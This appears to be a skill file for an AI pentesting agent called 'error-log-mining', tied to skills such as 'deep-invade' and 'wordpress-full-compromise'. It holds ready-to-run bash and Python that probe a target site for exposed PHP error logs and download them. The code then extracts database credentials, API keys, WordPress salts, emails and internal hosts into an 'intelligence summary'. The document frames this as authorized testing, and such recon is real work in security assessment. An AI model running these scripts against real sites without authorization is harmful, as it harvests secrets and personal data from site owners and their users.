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Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.
Attack SAML SSO via XSW, signature strip, metadata extract.
Use when two or more verified findings may combine into a higher-impact authorized attack path.
Based on SOC occupation classification
| name | error-log-mining |
| description | Mine error_log for creds, paths, SQL when leak hunt finds. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, grep, python3 |
| tags | ["recon","error-log","credentials","wordpress","data-mining"] |
| category | recon |
| related_skills | ["deep-invade","source-leak-hunt","phpinfo-to-rce","wordpress-full-compromise"] |
Discover and analyze exposed PHP error_log files for server paths, database
errors, SQL fragments, API-key candidates, email addresses, and internal
addresses. Collect a bounded sample and validate the sensitivity of its content
instead of inferring impact from file size or status.
deep-invade Phase 2 on a high-value target.skill_view(name='source-leak-hunt') found an error_log file with HTTP 200.display_errors possibly enabled.terminal with curl, grep, and python3.curl -r for range requests on large files.TARGET="https://example.com"
# Paths to probe
for path in "error_log" "wp-content/debug.log" "debug.log" "errors.log" \
"php_errors.log" "wp-content/error.log" "logs/error.log"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "$TARGET/$path")
[[ "$code" == "200" ]] && echo "FOUND: $TARGET/$path"
done
# Download and analyze
curl --max-time 30 --connect-timeout 10 -sk "$TARGET/error_log" -o error_log.txt
python3 analyze_log.py error_log.txt
| Extraction Target | Python regex | Value |
|---|---|---|
| Server paths | re.findall(r'/home/[^\s:)]+', txt) | Full directory structure |
| Email addresses | re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', txt) | Admin emails |
| DB credentials | DB_USER[^=]*=[\s'\"]*([^'\";\s]+) DB_PASSWORD[^=]*=[\s'\"]*([^'\";\s]+) DB_HOST[^=]*=[\s'\"]*([^'\";\s]+) DB_NAME[^=]*=[\s'\"]*([^'\";\s]+) | Database access |
| API keys | sk-[a-zA-Z0-9]{20,60} AIza[0-9A-Za-z_-]{35} AKIA[0-9A-Z]{16} eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,} | Stripe, Google, AWS, JWT |
| SQL queries | (?:SELECT|INSERT|UPDATE|DELETE|CREATE TABLE|ALTER TABLE)[^;]{0,300} | DB schema, table names |
| WordPress salts | (?:AUTH_KEY|SECURE_AUTH_KEY|LOGGED_IN_KEY|NONCE_KEY|AUTH_SALT|SECURE_AUTH_SALT|LOGGED_IN_SALT|NONCE_SALT)[^,;]+ | Session hijack potential |
| PHP error types | Counter(re.findall(r'PHP\s+\w+:', txt)).most_common(10) | Error breakdown |
| Date range | re.findall(r'\[(\d{2}-\w{3}-\d{4})', txt) | Log freshness |
TARGET="$1"
OUTDIR="$OUTDIR/error_logs/$TARGET"
mkdir -p "$OUTDIR"
echo "[*] Probing common error log paths on $TARGET..."
ERROR_LOG_PATHS=(
"error_log"
"wp-content/debug.log"
"debug.log"
"errors.log"
"php_errors.log"
"wp-content/error.log"
"logs/error.log"
"log/error.log"
"tmp/php-errors.log"
"wp-content/plugins/debug.log"
"wp-content/themes/debug.log"
)
FOUND_LOGS=()
for path in "${ERROR_LOG_PATHS[@]}"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET/$path" 2>/dev/null)
if [[ "$code" == "200" ]]; then
# Quick content check to avoid SPA false positives
sample=$(curl -sk --max-time 5 --connect-timeout 5 -r 0-500 "https://$TARGET/$path" 2>/dev/null)
if echo "$sample" | grep -qiE 'PHP|Error|Warning|Stack trace|\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4}'; then
echo "[FOUND] https://$TARGET/$path"
FOUND_LOGS+=("https://$TARGET/$path")
fi
fi
sleep 0.3
done
echo "[+] Found ${#FOUND_LOGS[@]} error log(s)"
TARGET="$1"
OUTDIR="$OUTDIR/error_logs/$TARGET"
for url in "${FOUND_LOGS[@]}"; do
fname=$(echo "$url" | sed 's|https\?://||' | sed 's|/|_|g')
echo "[*] Downloading $url..."
# First, check file size
size=$(curl -skI --max-time 10 --connect-timeout 10 "$url" 2>/dev/null | grep -i "content-length" | awk '{print $2}' | tr -d '\r')
if [[ -n "$size" && "$size" -gt 10000000 ]]; then
echo " Large file (${size} bytes) — sampling first 5MB..."
curl -sk --max-time 30 --connect-timeout 10 -r 0-5000000 "$url" -o "$OUTDIR/${fname}_sample.txt" 2>/dev/null
elif [[ -n "$size" && "$size" -gt 1000000 ]]; then
echo " Medium file (${size} bytes) — downloading full..."
curl -sk --max-time 30 --connect-timeout 10 "$url" -o "$OUTDIR/${fname}.txt" 2>/dev/null
else
echo " Small file — downloading full..."
curl -sk --max-time 15 --connect-timeout 10 "$url" -o "$OUTDIR/${fname}.txt" 2>/dev/null
fi
sleep 0.5
done
TARGET="$1"
OUTDIR="$OUTDIR/error_logs/$TARGET"
for logfile in "$OUTDIR"/*.txt "$OUTDIR"/*_sample.txt; do
[[ ! -f "$logfile" ]] && continue
echo ""
echo "═══════════ $(basename "$logfile") ═══════════"
echo ""
# 1. Server Paths
echo "[SERVER PATHS]"
grep -Eo '(/[a-zA-Z0-9_/.-]+\.php)' "$logfile" 2>/dev/null | sort -u | head -20
# 2. Email Addresses
echo ""
echo "[EMAIL ADDRESSES]"
grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' "$logfile" 2>/dev/null | sort -u | head -15
# 3. Database Credentials
echo ""
echo "[DB CREDENTIALS & CONNECTIONS]"
grep -iE 'mysql_connect|mysqli_connect|new PDO|pg_connect|DB_HOST|DB_USER|DB_PASSWORD|DB_NAME|database.*password|dsn.*mysql' "$logfile" 2>/dev/null | head -10
# 4. SQL Queries
echo ""
echo "[SQL QUERIES]"
grep -iE '(SELECT|INSERT|UPDATE|DELETE|CREATE TABLE|ALTER TABLE|DROP TABLE).*(FROM|INTO|SET)' "$logfile" 2>/dev/null | head -10
# 5. API Keys & Tokens
echo ""
echo "[API KEYS & TOKENS]"
grep -iE 'api[_-]?key|api[_-]?secret|access[_-]?token|auth[_-]?token|bearer [A-Za-z0-9_\-]{20,}|sk-[A-Za-z0-9]{20,}|key=[A-Za-z0-9]{20,}' "$logfile" 2>/dev/null | head -10
# 6. Internal IPs
echo ""
echo "[INTERNAL IPs]"
grep -Eo '(?:10\.|172\.(?:1[6-9]|2[0-9]|3[01])\.|192\.168\.)\d{1,3}\.\d{1,3}' "$logfile" 2>/dev/null | sort -u | head -10
# 7. WordPress specific
echo ""
echo "[WORDPRESS PATHS]"
grep -Eo '/wp-content/(?:plugins|themes|uploads)/[a-zA-Z0-9_/.-]+' "$logfile" 2>/dev/null | sort -u | head -15
# 8. PHP Error Summary
echo ""
echo "[ERROR SUMMARY]"
echo " Fatal errors: $(grep -ci 'Fatal error' "$logfile" 2>/dev/null || echo 0)"
echo " Warnings: $(grep -ci 'Warning' "$logfile" 2>/dev/null || echo 0)"
echo " Notices: $(grep -ci 'Notice' "$logfile" 2>/dev/null || echo 0)"
echo " Parse errors: $(grep -ci 'Parse error' "$logfile" 2>/dev/null || echo 0)"
echo " Deprecated: $(grep -ci 'Deprecated' "$logfile" 2>/dev/null || echo 0)"
echo " Stack traces: $(grep -ci 'Stack trace' "$logfile" 2>/dev/null || echo 0)"
# 9. Date Range
echo ""
echo "[DATE RANGE]"
first=$(grep -Eo '\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2}[^\]]*\]' "$logfile" 2>/dev/null | head -1)
last=$(grep -Eo '\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2}[^\]]*\]' "$logfile" 2>/dev/null | tail -1)
[[ -n "$first" ]] && echo " First: $first"
[[ -n "$last" ]] && echo " Last: $last"
# 10. Plugin/Theme Names from Paths
echo ""
echo "[PLUGINS FROM ERRORS]"
grep -Eo '/wp-content/plugins/\K[a-zA-Z0-9_-]+' "$logfile" 2>/dev/null | sort -u | head -20
echo ""
echo "[THEMES FROM ERRORS]"
grep -Eo '/wp-content/themes/\K[a-zA-Z0-9_-]+' "$logfile" 2>/dev/null | sort -u | head -10
sleep 0.3
done
TARGET="$1"
OUTDIR="$OUTDIR/error_logs/$TARGET"
SUMMARY="$OUTDIR/intel_summary.md"
cat > "$SUMMARY" << EOF
# Error Log Intelligence — $TARGET
## Credentials Found
EOF
for logfile in "$OUTDIR"/*.txt "$OUTDIR"/*_sample.txt; do
[[ ! -f "$logfile" ]] && continue
# DB credentials
grep -iE 'DB_HOST|DB_USER|DB_PASSWORD|DB_NAME' "$logfile" 2>/dev/null | while read -r line; do
echo "- $line" >> "$SUMMARY"
done
# API keys
grep -iE 'api[_-]?key.*=|api[_-]?secret.*=|access[_-]?token.*=' "$logfile" 2>/dev/null | while read -r line; do
echo "- $line" >> "$SUMMARY"
done
done
echo "" >> "$SUMMARY"
echo "## Server Paths" >> "$SUMMARY"
grep -Eo '/[a-zA-Z0-9_/.-]+\.php' "$OUTDIR"/*.txt 2>/dev/null | sort -u | head -30 | while read -r line; do
echo "- $line" >> "$SUMMARY"
done
echo "" >> "$SUMMARY"
echo "## Email Addresses" >> "$SUMMARY"
grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' "$OUTDIR"/*.txt 2>/dev/null | sort -u | while read -r line; do
echo "- $line" >> "$SUMMARY"
done
echo "" >> "$SUMMARY"
echo "## Plugins Discovered" >> "$SUMMARY"
grep -Eo '/wp-content/plugins/\K[a-zA-Z0-9_-]+' "$OUTDIR"/*.txt 2>/dev/null | sort -u | while read -r line; do
echo "- $line" >> "$SUMMARY"
done
echo ""
echo "[+] Intelligence summary saved to $SUMMARY"
# Does error log reveal the DB name? Cross-ref with wp-config leak
DB_NAME=$(grep -Eo 'DB_NAME["\x27\s:=]+["\x27][a-zA-Z0-9_]+' $OUTDIR/error_logs/*/intel_summary.md 2>/dev/null)
echo "DB name from logs: $DB_NAME"
# Does it reveal internal hostnames?
HOSTNAMES=$(grep -Eo '(?:[a-zA-Z0-9-]+\.(?:internal|local|lan|corp|priv))' $OUTDIR/error_logs/*/*.txt 2>/dev/null | sort -u)
[[ -n "$HOSTNAMES" ]] && echo "Internal hostnames:" && echo "$HOSTNAMES"
# Are there file inclusion paths that indicate LFI potential?
LFI_PATHS=$(grep -Eo '(?:include|require|include_once|require_once)\s*\(\s*[\x27"]([^\x27"]+\.php)' $OUTDIR/error_logs/*/*.txt 2>/dev/null | sort -u)
[[ -n "$LFI_PATHS" ]] && echo "Potential LFI paths:" && echo "$LFI_PATHS"
import re
from collections import Counter
def mine_error_log(txt):
results = {}
# Server paths
results['paths'] = sorted(set(re.findall(r'/home/[^\s:)]+', txt)))[:20]
# Email addresses
results['emails'] = sorted(set(re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', txt)))[:20]
# DB credentials (4 patterns extracted from php error context)
db_creds = set()
for pat in [r"DB_USER[^=]*=[\s'\"]*([^'\";\s]+)",
r"DB_PASSWORD[^=]*=[\s'\"]*([^'\";\s]+)",
r"DB_HOST[^=]*=[\s'\"]*([^'\";\s]+)",
r"DB_NAME[^=]*=[\s'\"]*([^'\";\s]+)"]:
for m in re.findall(pat, txt): db_creds.add(m)
results['db_creds'] = sorted(db_creds)
# API keys (5 pattern classes — all extracted from error context)
api_keys = set()
for pat in [r'sk-[a-zA-Z0-9]{20,60}', # Stripe
r'AIza[0-9A-Za-z_-]{35}', # Google
r'AKIA[0-9A-Z]{16}', # AWS IAM
r'pk_[a-zA-Z0-9]+', # Publishable keys
r'eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}']: # JWT
for m in re.findall(pat, txt): api_keys.add(m)
results['api_keys'] = sorted(api_keys)[:10]
# SQL queries
results['sql_queries'] = re.findall(
r'(?:SELECT|INSERT|UPDATE|DELETE|CREATE TABLE|ALTER TABLE)[^;]{0,300}',
txt, re.I)[:10]
# WordPress salts (session hijack potential)
results['wp_salts'] = re.findall(
r"(?:AUTH_KEY|SECURE_AUTH_KEY|LOGGED_IN_KEY|NONCE_KEY|AUTH_SALT|SECURE_AUTH_SALT|LOGGED_IN_SALT|NONCE_SALT)[^,;]+",
txt)
# Error type breakdown
results['error_types'] = Counter(re.findall(r'PHP\s+\w+:', txt)).most_common(10)
# Date range
dates = re.findall(r'\[(\d{2}-\w{3}-\d{4})', txt)
if dates:
results['date_range'] = f"{dates[0]} to {dates[-1]} ({len(set(dates))} unique dates)"
return results
Content-Length before downloading
and use a bounded range such as curl -r 0-5000000 for an initial sample.error_log.1, error_log.old, error_log-YYYYMMDD)./error_log might be a custom 404 page or SPA catch-all. Always check content for PHP + error type pattern before analyzing.[date] PHP Warning:, Stack trace:, Fatal error:) to be valid./home/user/public_html/).